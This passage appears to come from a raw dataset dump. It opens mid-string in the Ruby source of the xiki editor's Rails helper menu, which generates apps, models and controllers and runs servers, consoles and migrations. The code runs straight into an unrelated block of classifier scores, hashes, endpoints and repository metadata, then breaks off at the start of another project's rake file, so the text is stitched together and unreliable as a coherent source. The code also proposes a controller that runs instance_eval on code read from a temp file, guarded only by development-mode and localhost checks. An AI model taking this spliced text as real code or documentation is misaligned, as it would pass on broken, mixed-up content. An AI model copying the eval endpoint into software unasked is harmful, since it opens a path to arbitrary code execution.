--version`}\"\n end\n\n def self.use_rspec\n dir = Tree.closest_dir yield[:ancestors]\n\n txt = \"\n =#{dir}\n - 1. Add these lines:\n - Gemfile\n |+group :development, :test do\n |+ gem 'rspec-rails'\n |+end\n |\n - 2. Run these commands:\n % bundle\n % rails g rspec:install\n |\n - 3. Delete the test/ dir:\n % rm -r test/\n \"\n end\n\n def self.sqlite_console\n Shell.run \"sqlite3 db/development.sqlite3\", :dir=>self.dir(yield), :buffer=>\"sqlite console\", :dont_move=>1\n \"<* opened console in other view!\"\n end\n\n def self.rails_console\n Shell.run \"rails c\", :dir=>self.dir(yield), :buffer=>\"rails console\", :dont_move=>1\n \"<* opened console in other view!\"\n end\n\n def self.generate what, name=nil, detail=nil\n\n examples = \"\n > 1. Example fields\n | name:string\n | details:text\n | summary:text\n | quantity:integer\n | price:decimal\n | delivery:boolean\n | purchased_at:datetime\n | user:references\n | --no-timestamps\n \".unindent\n\n dir = self.dir(yield)\n\n options = yield\n\n case what\n when \"app\"\n dir, stem = File.dirname(dir), File.basename(dir)\n\n Shell.run \"rails new \\\"#{stem}\\\" --skip-bundle\", :dir=>dir, :dont_move=>1\n return \"- generating rails app in other view...\"\n when \"plugin\"\n Shell.run \"rails plugin new . --skip-bundle --full\", :dir=>dir, :dont_move=>1\n return \"- generating rails app in other view...\"\n when \"model\", \"resource\", \"scaffold\"\n return View.prompt \"Enter a name\" if ! name\n return examples if ! detail\n fields = Tree.txt.gsub(\"\\n\", ' ').strip\n Shell.run \"rails g #{what} #{name} #{fields}\", :dir=>dir, :dont_move=>1\n dir = options[:ancestors][-1]\n return \"\n | Generating #{what} in other view. Now run the migrations:\n =#{dir}% rake db:migrate\n | Then restart the server\n =current/rails server\n | The url\n =http://localhost:3000/#{name}\n \"\n when \"controller\"\n return View.prompt \"Enter a name\" if ! name\n return View.prompt \"Enter an action\" if ! detail\n Shell.run \"rails g controller #{name} #{detail}\", :dir=>dir, :dont_move=>1\n return \"\n - Generating controller in other view...\n =http://localhost:3000/#{name}/#{detail}\n =#{dir}app/\n - controllers/#{name}_controller.rb\n - views/#{name}/#{detail}.html.erb\n \"\n end\n\n \"- Don't know how to generate a '#{what}'!\"\n end\n\n def self.dir options={}\n\n # Nevermind > If no args, hit :3000 to get dir\n\n Tree.closest_dir options[:ancestors]\n end\n\n def self.start *args\n\n # If 1st arg is number, assume it's the port\n port = args[0] =~ /^\\d+$/ ? args.shift : nil\n\n # If 'browse', just bring up in browser\n if args == ['browse']\n Firefox.url \"http://localhost:#{port || 3000}/\"\n return \"<* opened in browser!\"\n end\n\n command = \"rails s\"\n command << \" -p #{port}\" if port\n\n Shell.run command, :dir=>self.dir(yield), :buffer=>\"rails server\", :dont_move=>1\n\n # Check whether it's already running\n \"| Rails app was already running\\n- browse/\"\n \"| Starting rails app in other view...\\n- browse/\"\n\n end\n\n def self.command txt, options\n Shell.run txt, :dir=>self.dir(options)\n end\n\n def self.migrate\n self.command \"rake db:migrate\", yield\n end\n\n def self.routes\n self.command \"rake routes\", yield\n end\n\n def self.eval *args\n\n if args.blank?\n return \"\n > Put some code here, to run it in the context of a controller\n | request.methods\n \"\n end\n\n # Text passed, so run put in controller method and call\n\n # Start server if necessary\n # And install the dev controller?\n\n txt = Tree.txt\n\n \"- TODO) implement calling dev_controller\"\n end\n\n def self.run_in_app txt, options={}\n\n # If just code passed, run it...\n\n if options[:yaml]\n # If yaml passed, deduce code to save model, and run...\n\n txt = %`\n txt = #{txt.inspect}\n mods = YAML::load(txt)\n\n mods = [mods] if ! mods.is_a?(Array)\n mods.each do |mod|\n mod.instance_variable_set('@partial_writes', false)\n\n existing = mod.class.where :id=>mod.id\n mod.instance_variable_set('@new_record', true) if existing.empty?\n\n mod.save\n end\n `\n end\n\n # Tmp > Hard-coded\n file = File.expand_path \"/Users/craig/Dropbox/xikihub_rails/tmp/rails_run_tmp.txt\"\n\n FileUtils.mkdir_p File.dirname(file) # Create dir if it doesn't exist\n File.open(file, \"w\") { |f| f << txt }\n\n # Temp > Hard-coded > !!!!!!!\n uri = URI(\"http://docker.loc/_xikidev\")\n\n\n\n response = Net::HTTP.get_response(uri)\n\n return \"| The rails server doesn't appear to be running. Start default server?\\n=rails/start/\" if response == :exception\n\n if response.response.is_a?(Net::HTTPNotFound)\n\n return self.suggest_installing_dev_controller if response.body =~ /

No route matches .+\\/_xikidev/\n\n # Todo > probably restore suggesting directly implanting the controller\n # return self.suggest_installing_plugin(options) if response.body =~ /

No route matches .+\\/xikidev/\n\n\n return response.body[/

(.+)/, 1].sub(/<\\/h2>.*/, '').gsub(\"'\", \"'\")\n end\n\n # Yaml data launched, so just pretend like it was saved?...\n # What about displaying errors?\n\n return \"<* - saved!\" if options[:yaml]\n\n\n\n txt = response.body\n txt.gsub!(/ +$/, '')\n\n # If is error, delete html at top\n txt.sub!(/.+?

/m, '

') if txt =~ /
/ && txt =~ /

/\n\n # If file not found, suggest generating it\n if txt =~ /uninitialized constant XikidevController::(\\w+)/\n clazz = $1\n return \"\n > Class '#{clazz}' doesn't exist. Generate it as a model?\n =#{self.running_dir}/\n =rails/generate/model/#{clazz}\n \"\n end\n\n txt\n end\n\n def self.running_dir\n raise \"Todo > port HTTParty call to built-in ruby call\"\n HTTParty.get(\"http://localhost:3000/xikidev/dir\").body rescue :exception\n end\n\n def self.suggest_installing_plugin options\n # Duh, can't get it yet because can't talk to app that doesn't have controller\n dir = self.running_dir\n\n %`\n | The running rails app doesn't appear to have the Xiki plugin\n | installed. This plugin lets Xiki evaluate code in it in dev mode.\n =/path/to/your/rails/app/\n - 1. Add this line:\n - Gemfile\n | gem 'xiki-rails'\n - 2. Run bundler:\n % bundle install\n `\n end\n\n\n def self.jump_to_last_error app_root\n app_root = Bookmarks[app_root]\n\n txt = File.read(\"#{app_root}log/development.log\")\n\n errors = txt.split(/^[A-Za-z:]+(Error|MissingTemplate) /)\n last_error = errors[-1]\n file, line = last_error.match(/^ (\\w.+?):(\\d+)/)[1..2]\n\n View.open \"#{app_root}#{file}\"\n View.line = line\n nil\n\n end\n\n def self.suggest_installing_dev_controller\n %`\n > You don't have the xiki dev controller installed\n = ~/projects/your_rails_app/\n - 1. Create the controller:\n - app/controllers/\n - xikidev_controller.rb\n : class XikidevController < ApplicationController\n : def index\n :\n : file = File.expand_path \"~/.xiki/misc/tmp/rails_run_tmp.txt\"\n :\n : ip = request.remote_ip\n : return render(:text=>\"Disabled unless development and called locally.\") if ! Rails.env.development? || (ip != \"127.0.0.1\" && ip != \"::1\")\n : return render(:text=>\"The file where the caller should have put the code to eval doesn't exist: \"+file) if ! File.exists? file\n :\n : code = File.read file\n : txt = instance_eval code, \"/tmp/eval\", 1\n :\n : File.open(file, \"w\") { |f| f << \"\" } # Remove code from temp location\n : render plain: txt\n :\n : end\n : end\n - 2. Add a route:\n - config/routes.rb\n : get '/_xikidev' => 'xikidev#index'\n `.unindent\n end\n\n\n end\nend\n", "text_preview": "require 'xiki/core/ruby_console' module Xiki class Rails CODE_SAMPLES = %q< # Show options to help create new rails app - Show options: Rails.menu > MENU_HIDDEN = \" .running dir/ .nest/ \" MENU = \" - .start/ - .generate/ - app/ - plugin/ - m", "input_sha256": "3057f33355a110b32acfce087b5c273b72f1f162ec642b5beb3cbfa56cdd774c", "text_sha256": "76d97faf0ba77a679be184808283fa276eae45bf1882a292103ea6ec42297dbe", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16069, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": ["procedural_steps"]}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 0, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.391699959102825, "noise_severity": 0.20448259334154617, "missing_content_severity": 0.12674994953483912, "factual_density": 3.3900671025074818, "pretraining_utility": 0.47222427479367673, "math_density": 0.00407964517432795, "code_density": 3.840124399187294, "reasoning_density": 0.9379958559760208, "education_level": 2.685573309131458, "creative_writing_quality": -0.3765207985439107}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.09069119063220632, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9934092265300027, "secondary": 0.741813108487231, "tertiary": 0.6471788226101461, "structured_records": 0.08723812089875281, "procedural_steps": 0.9158527331825496, "worked_solution": 0.007253968032549225, "contextual_dialogue": 1.3437750654224603e-05, "content_quality": 0.38197198347579997, "noise_severity": 0.8295978388820449, "missing_content_severity": 0.8943750420543007, "factual_density": 0.49172258542290126, "pretraining_utility": 0.45942538422981005, "math_density": 0.9966002956880601, "code_density": 0.8667703326560783, "reasoning_density": 0.21833678668664958, "education_level": 0.4068543048118639, "creative_writing_quality": 0.9993318121704832, "primary_topic": 0.9857716152239653, "secondary_topic": 0.8760398425242137}, "probability_margin": {"primary": 0.9901520986804978, "secondary": 0.6296364398440835, "tertiary": 0.5006682387942573, "education_level": 0.11077571277236581, "creative_writing_quality": 0.9992149361429231, "primary_topic": 0.9740390542448473, "secondary_topic": 0.7979660175399663}, "raw_probabilities": {"primary": {"Academic Writing": 3.7526309347663384e-05, "Content Listing": 0.0004260199200252823, "Creative Writing": 2.5919242341524483e-05, "Customer Support Page": 5.6488627146874314e-05, "Q&A Forum": 1.5438632637868487e-05, "Discussion Thread": 1.0649360084382609e-05, "Comment Section": 1.8367317028350514e-05, "Missing Content": 3.109044218692152e-05, "Knowledge Article": 0.0001183056336705461, "Legal Notices": 3.808495998390815e-05, "News Article": 6.694456242376341e-06, "Organizational Announcement": 1.7803597813234305e-05, "Nonfiction Writing": 1.762667195570369e-05, "Organizational About Page": 1.7612246387262525e-05, "Personal About Page": 1.725354317173701e-05, "Personal Blog": 1.3124651891957367e-05, "Product Page": 1.1477471642082022e-05, "Spam / Ads": 1.72262589216536e-05, "Structured Data": 0.0006161975455747147, "Technical Writing": 0.9936838420912526, "Transcript / Interview": 2.1698862687847128e-05, "Tutorial / How-To Guide": 0.003531743410754818, "User Reviews": 1.2141160967553103e-05, "Other / Unknown": 0.0012376675862833667}, "secondary": {"Academic Writing": 0.0008078092320654449, "Content Listing": 0.07678345725123481, "Creative Writing": 0.000716641296784271, "Customer Support Page": 0.0020937846054685564, "Q&A Forum": 0.0004955784556968327, "Discussion Thread": 0.0003186497232239183, "Comment Section": 0.0011508086698637243, "Missing Content": 0.0015565548440804157, "Knowledge Article": 0.0022187558909116003, "Legal Notices": 0.0005917872808844877, "News Article": 0.0003948871520116024, "Organizational Announcement": 0.0004539857645087658, "Nonfiction Writing": 0.0005513229298320054, "Organizational About Page": 0.0005180911360869442, "Personal About Page": 0.0005080756763077368, "Personal Blog": 0.00041221573809979337, "Product Page": 0.0003054067239322165, "Spam / Ads": 0.00048188283529246203, "Structured Data": 0.008923377814294036, "Technical Writing": 0.024334558389719842, "Transcript / Interview": 0.0006095646456615966, "Tutorial / How-To Guide": 0.12293445578951295, "User Reviews": 0.00026745252092961477, "NONE": 0.7525708956335964}, "tertiary": {"Academic Writing": 0.0009258879717689085, "Content Listing": 0.1162315977280705, "Creative Writing": 0.0008342533621172103, "Customer Support Page": 0.004962074120526227, "Q&A Forum": 0.0005620922109381867, "Discussion Thread": 0.00037404297071941814, "Comment Section": 0.002072108447599297, "Missing Content": 0.002587105297572519, "Knowledge Article": 0.0037019399021702604, "Legal Notices": 0.000800028221069616, "News Article": 0.0005061286191846314, "Organizational Announcement": 0.0005407330693408461, "Nonfiction Writing": 0.0006872001543668884, "Organizational About Page": 0.0006810328289677606, "Personal About Page": 0.0005828305410550008, "Personal Blog": 0.0004537236464063333, "Product Page": 0.0004557138964882776, "Spam / Ads": 0.000590067831801253, "Structured Data": 0.012846378953837128, "Technical Writing": 0.02547402919843595, "Transcript / Interview": 0.0007262399947796442, "Tutorial / How-To Guide": 0.16121146620713278, "User Reviews": 0.000313619824261385, "NONE": 0.66187970500139}, "structured_records": {"false": 0.9127618791012472, "true": 0.08723812089875281}, "procedural_steps": {"false": 0.08414726681745044, "true": 0.9158527331825496}, "worked_solution": {"false": 0.9927460319674508, "true": 0.007253968032549225}, "contextual_dialogue": {"false": 0.9999865622493458, "true": 1.3437750654224603e-05}, "content_quality": {"-2": 0.016834099219586434, "-1": 0.1412986319239346, "0": 0.37248574396069034, "1": 0.37209626032564486, "2": 0.0972852645701438}, "noise_severity": {"0": 0.834684183187352, "1": 0.13202302237206578, "2": 0.028843670635063025, "3": 0.0030242655227220323, "4": 0.0014248582827970492}, "missing_content_severity": {"0": 0.8892153093848514, "1": 0.09808752393246407, "2": 0.010051673990734013, "3": 0.002022893146894507, "4": 0.0006225995450558696}, "factual_density": {"0": 0.003933434443831456, "1": 0.010215589322106292, "2": 0.08422791763649537, "3": 0.39509655647788294, "4": 0.506526502119684}, "pretraining_utility": {"-2": 0.010433073728735387, "-1": 0.0912660091048692, "0": 0.374401392669331, "1": 0.463442617638112, "2": 0.060456906858952365}, "math_density": {"0": 0.9966867417243517, "1": 0.00286691738206424, "2": 0.00023828369039849596, "3": 9.606840127557596e-05, "4": 0.00011198880190999754}, "code_density": {"0": 0.00035341965962101113, "1": 0.0006878092839840276, "2": 0.011678960761273194, "3": 0.13304057279972348, "4": 0.8542392374953983}, "reasoning_density": {"0": 0.48421091619327805, "1": 0.23158676422760513, "2": 0.18704383328987526, "3": 0.05631251998830065, "4": 0.040845966300940756}, "education_level": {"none": 0.0009889320988704861, "0": 0.0012277758249080496, "1": 0.004210457445923302, "2": 0.39493620790418743, "3": 0.5057119206765532, "4": 0.09292470604955742}, "creative_writing_quality": {"not_applicable": 0.999443176808736, "-2": 8.575807341413014e-05, "-1": 0.00015235414308215078, "0": 0.00022824066581282065, "1": 6.672584062255802e-05, "2": 2.3744468332627486e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.2917136143592015e-05, "Art & Design": 6.078237426001487e-05, "Law & Crime": 4.428038020040288e-05, "Education & Careers": 4.827319315463587e-05, "Entertainment & Media": 3.0294753562799913e-05, "Fashion & Beauty": 2.544698087705827e-05, "Business, Economics & Finance": 5.878467516612197e-05, "Food & Dining": 3.117521540492109e-05, "Games & Gaming": 8.160790121245931e-05, "Electronics & Hardware": 8.166391721356383e-05, "Health, Healthcare & Wellness": 2.393842006899136e-05, "History & Geography": 3.6960154918535945e-05, "Home, Pets & Hobbies": 3.6898170559594156e-05, "Industry & Production": 3.635046250996089e-05, "Language, Literature & Philosophy": 6.0551902405898376e-05, "Politics & Government": 2.258596484976242e-05, "Religion & Spirituality": 3.4126531050906617e-05, "Science, Mathematics & Engineering": 0.00014056622867148603, "Relationships & Community": 2.017251720320076e-05, "Software Usage & Applications": 0.012279806547426993, "Programming & Software Engineering": 0.9863188607922743, "Sports & Fitness": 5.1311646544504225e-05, "Vehicles & Transportation": 3.446453642627917e-05, "Travel & Tourism": 0.00010319265505623772, "Other / Uncovered Subject": 0.00021616117098967482, "Unknown / Insufficient Content": 7.882577184819971e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0003931054065872618, "Art & Design": 0.00042349577501944193, "Law & Crime": 0.0003965567526329927, "Education & Careers": 0.000319217307670925, "Entertainment & Media": 0.0003223072072181473, "Fashion & Beauty": 0.0001577271934906338, "Business, Economics & Finance": 0.0004307293091958593, "Food & Dining": 0.00015230080310457057, "Games & Gaming": 0.00029519565307444575, "Electronics & Hardware": 0.0003465647785713414, "Health, Healthcare & Wellness": 0.0001678432100606469, "History & Geography": 0.00018944960765797917, "Home, Pets & Hobbies": 0.0002014335567520663, "Industry & Production": 0.00016608644095200952, "Language, Literature & Philosophy": 0.00023279876623129517, "Politics & Government": 0.00016661822170969213, "Religion & Spirituality": 0.00019603546788417672, "Science, Mathematics & Engineering": 0.0007220585269884222, "Relationships & Community": 0.00013511149920845616, "Software Usage & Applications": 0.0828415233487008, "Programming & Software Engineering": 0.02979190597517634, "Sports & Fitness": 0.00016553054494545494, "Vehicles & Transportation": 0.00010315630221078403, "Travel & Tourism": 0.00036116890521374574, "Other / Uncovered Subject": 0.0005145385510752926, "NONE": 0.8808075408886671}}, "probabilities": {"primary": {"Academic Writing": 3.752630934766338e-05, "Content Listing": 0.00042601992002528217, "Creative Writing": 2.5919242341524476e-05, "Customer Support Page": 5.64886271468743e-05, "Q&A Forum": 1.5438632637868484e-05, "Discussion Thread": 1.0649360084382607e-05, "Comment Section": 1.836731702835051e-05, "Missing Content": 3.1090442186921514e-05, "Knowledge Article": 0.00011830563367054608, "Legal Notices": 3.8084959983908145e-05, "News Article": 6.69445624237634e-06, "Organizational Announcement": 1.7803597813234302e-05, "Nonfiction Writing": 1.7626671955703685e-05, "Organizational About Page": 1.761224638726252e-05, "Personal About Page": 1.7253543171737005e-05, "Personal Blog": 1.3124651891957363e-05, "Product Page": 1.1477471642082018e-05, "Spam / Ads": 1.7226258921653595e-05, "Structured Data": 0.0006161975455747146, "Technical Writing": 0.9936838420912524, "Transcript / Interview": 2.1698862687847124e-05, "Tutorial / How-To Guide": 0.0035317434107548173, "User Reviews": 1.21411609675531e-05, "Other / Unknown": 0.0012376675862833665}, "secondary": {"Academic Writing": 0.0008078092320654449, "Content Listing": 0.07678345725123481, "Creative Writing": 0.000716641296784271, "Customer Support Page": 0.0020937846054685564, "Q&A Forum": 0.0004955784556968327, "Discussion Thread": 0.0003186497232239183, "Comment Section": 0.0011508086698637243, "Missing Content": 0.0015565548440804157, "Knowledge Article": 0.0022187558909116003, "Legal Notices": 0.0005917872808844877, "News Article": 0.0003948871520116024, "Organizational Announcement": 0.0004539857645087658, "Nonfiction Writing": 0.0005513229298320054, "Organizational About Page": 0.0005180911360869442, "Personal About Page": 0.0005080756763077368, "Personal Blog": 0.00041221573809979337, "Product Page": 0.0003054067239322165, "Spam / Ads": 0.00048188283529246203, "Structured Data": 0.008923377814294036, "Technical Writing": 0.024334558389719842, "Transcript / Interview": 0.0006095646456615966, "Tutorial / How-To Guide": 0.12293445578951295, "User Reviews": 0.00026745252092961477, "NONE": 0.7525708956335964}, "tertiary": {"Academic Writing": 0.0009258879717689085, "Content Listing": 0.1162315977280705, "Creative Writing": 0.0008342533621172103, "Customer Support Page": 0.004962074120526227, "Q&A Forum": 0.0005620922109381867, "Discussion Thread": 0.00037404297071941814, "Comment Section": 0.002072108447599297, "Missing Content": 0.002587105297572519, "Knowledge Article": 0.0037019399021702604, "Legal Notices": 0.000800028221069616, "News Article": 0.0005061286191846314, "Organizational Announcement": 0.0005407330693408461, "Nonfiction Writing": 0.0006872001543668884, "Organizational About Page": 0.0006810328289677606, "Personal About Page": 0.0005828305410550008, "Personal Blog": 0.0004537236464063333, "Product Page": 0.0004557138964882776, "Spam / Ads": 0.000590067831801253, "Structured Data": 0.012846378953837128, "Technical Writing": 0.02547402919843595, "Transcript / Interview": 0.0007262399947796442, "Tutorial / How-To Guide": 0.16121146620713278, "User Reviews": 0.000313619824261385, "NONE": 0.66187970500139}, "structured_records": {"false": 0.9127618791012472, "true": 0.08723812089875281}, "procedural_steps": {"false": 0.08414726681745044, "true": 0.9158527331825496}, "worked_solution": {"false": 0.9927460319674508, "true": 0.007253968032549225}, "contextual_dialogue": {"false": 0.9999865622493458, "true": 1.3437750654224603e-05}, "content_quality": {"-2": 0.016834099219586434, "-1": 0.1412986319239346, "0": 0.37248574396069034, "1": 0.37209626032564486, "2": 0.0972852645701438}, "noise_severity": {"0": 0.8346841831873522, "1": 0.1320230223720658, "2": 0.02884367063506303, "3": 0.0030242655227220327, "4": 0.0014248582827970494}, "missing_content_severity": {"0": 0.8892153093848515, "1": 0.09808752393246409, "2": 0.010051673990734014, "3": 0.0020228931468945074, "4": 0.0006225995450558697}, "factual_density": {"0": 0.003933434443831456, "1": 0.010215589322106292, "2": 0.08422791763649537, "3": 0.39509655647788294, "4": 0.506526502119684}, "pretraining_utility": {"-2": 0.010433073728735387, "-1": 0.0912660091048692, "0": 0.374401392669331, "1": 0.463442617638112, "2": 0.060456906858952365}, "math_density": {"0": 0.9966867417243517, "1": 0.00286691738206424, "2": 0.00023828369039849596, "3": 9.606840127557596e-05, "4": 0.00011198880190999754}, "code_density": {"0": 0.00035341965962101113, "1": 0.0006878092839840276, "2": 0.011678960761273194, "3": 0.13304057279972348, "4": 0.8542392374953983}, "reasoning_density": {"0": 0.4842109161932781, "1": 0.23158676422760516, "2": 0.18704383328987528, "3": 0.056312519988300655, "4": 0.04084596630094076}, "education_level": {"none": 0.0009889320988704863, "0": 0.0012277758249080498, "1": 0.0042104574459233025, "2": 0.3949362079041875, "3": 0.5057119206765534, "4": 0.09292470604955744}, "creative_writing_quality": {"not_applicable": 0.9994431768087357, "-2": 8.575807341413012e-05, "-1": 0.00015235414308215075, "0": 0.0002282406658128206, "1": 6.672584062255801e-05, "2": 2.374446833262748e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.2917136143592015e-05, "Art & Design": 6.078237426001487e-05, "Law & Crime": 4.428038020040288e-05, "Education & Careers": 4.827319315463587e-05, "Entertainment & Media": 3.0294753562799913e-05, "Fashion & Beauty": 2.544698087705827e-05, "Business, Economics & Finance": 5.878467516612197e-05, "Food & Dining": 3.117521540492109e-05, "Games & Gaming": 8.160790121245931e-05, "Electronics & Hardware": 8.166391721356383e-05, "Health, Healthcare & Wellness": 2.393842006899136e-05, "History & Geography": 3.6960154918535945e-05, "Home, Pets & Hobbies": 3.6898170559594156e-05, "Industry & Production": 3.635046250996089e-05, "Language, Literature & Philosophy": 6.0551902405898376e-05, "Politics & Government": 2.258596484976242e-05, "Religion & Spirituality": 3.4126531050906617e-05, "Science, Mathematics & Engineering": 0.00014056622867148603, "Relationships & Community": 2.017251720320076e-05, "Software Usage & Applications": 0.012279806547426993, "Programming & Software Engineering": 0.9863188607922743, "Sports & Fitness": 5.1311646544504225e-05, "Vehicles & Transportation": 3.446453642627917e-05, "Travel & Tourism": 0.00010319265505623772, "Other / Uncovered Subject": 0.00021616117098967482, "Unknown / Insufficient Content": 7.882577184819971e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00039310540658726184, "Art & Design": 0.000423495775019442, "Law & Crime": 0.00039655675263299277, "Education & Careers": 0.00031921730767092504, "Entertainment & Media": 0.00032230720721814735, "Fashion & Beauty": 0.00015772719349063384, "Business, Economics & Finance": 0.0004307293091958594, "Food & Dining": 0.0001523008031045706, "Games & Gaming": 0.0002951956530744458, "Electronics & Hardware": 0.00034656477857134146, "Health, Healthcare & Wellness": 0.00016784321006064692, "History & Geography": 0.0001894496076579792, "Home, Pets & Hobbies": 0.00020143355675206632, "Industry & Production": 0.00016608644095200955, "Language, Literature & Philosophy": 0.0002327987662312952, "Politics & Government": 0.00016661822170969216, "Religion & Spirituality": 0.00019603546788417674, "Science, Mathematics & Engineering": 0.0007220585269884223, "Relationships & Community": 0.0001351114992084562, "Software Usage & Applications": 0.08284152334870082, "Programming & Software Engineering": 0.029791905975176343, "Sports & Fitness": 0.00016553054494545497, "Vehicles & Transportation": 0.00010315630221078404, "Travel & Tourism": 0.0003611689052137458, "Other / Uncovered Subject": 0.0005145385510752928, "NONE": 0.8808075408886672}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11260, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11260, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:02.209832+00:00", "scoring_key_slot": "primary", "dataset_uid": "be4c955a-1c9b-4ff1-86b7-e54c24606dca", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "9ea92aed0f964221b0918a7f9a08a0421458d9d46a25ffbd0777b295d5e46141", "source_metadata": {"uuid": "be4c955a-1c9b-4ff1-86b7-e54c24606dca", "repo_name": "trogdoro/xiki", "relative_path": "roots/rails.rb", "category": "TOOL", "algo_rel_score": 0.6179970502853394, "quality_score": 4.538751125335693, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 1087, "repo_created_at": "2008-06-05T01:03:11.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 3765, "forks": 207, "issues": 94, "pull_requests": 25}, "file_meta": {"content_id": "d60818ba8983155c9761c824ea3b0a475a18b9b9", "size_bytes": 10229, "file_timestamp": 1578035415, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "be9b5eb87fb6eac11c70adbbb602bb71895834a8"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 1087, "repo_created_at": "2008-06-05T01:03:11.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 3765, "forks": 207, "issues": 94, "pull_requests": 25}, "file_meta": {"content_id": "d60818ba8983155c9761c824ea3b0a475a18b9b9", "size_bytes": 10229, "file_timestamp": 1578035415, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "be9b5eb87fb6eac11c70adbbb602bb71895834a8", "url": "https://github.com/trogdoro/xiki/blob/be9b5eb87fb6eac11c70adbbb602bb71895834a8/roots/rails.rb"}, "gpt4o_tokens": 2614, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.391699959102825, "noise_severity": 0.20448259334154617, "missing_content_severity": 0.12674994953483912, "factual_density": 3.3900671025074818, "pretraining_utility": 0.47222427479367673, "math_density": 0.00407964517432795, "code_density": 3.840124399187294, "reasoning_density": 0.9379958559760208, "education_level": 2.685573309131458, "creative_writing_quality": -0.3765207985439107}, "score_applicability": {"education_level": 0.9990110679011296, "creative_writing_quality": 0.000556823191264287}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/ServerMonitoringHQ/ServerMonHQ/blob/2094e022734da7e7b6ae5ee4214710ce0a0ca589/lib/tasks/scheduler.rake", "id": "ruby-0-8c42fa05b289353a564d741a672ab5d3", "text": "desc \"This task is called by the Heroku scheduler add-on\" \ntask :remove_resolved_incidents => :environment do \n 